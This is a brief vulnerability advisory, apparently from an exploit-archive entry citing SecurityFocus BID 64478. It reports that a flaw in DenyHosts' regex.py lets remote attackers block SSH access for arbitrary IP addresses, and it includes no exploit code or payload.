DenyHosts - 'regex.py' Remote Denial of Service

                source: http://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users.
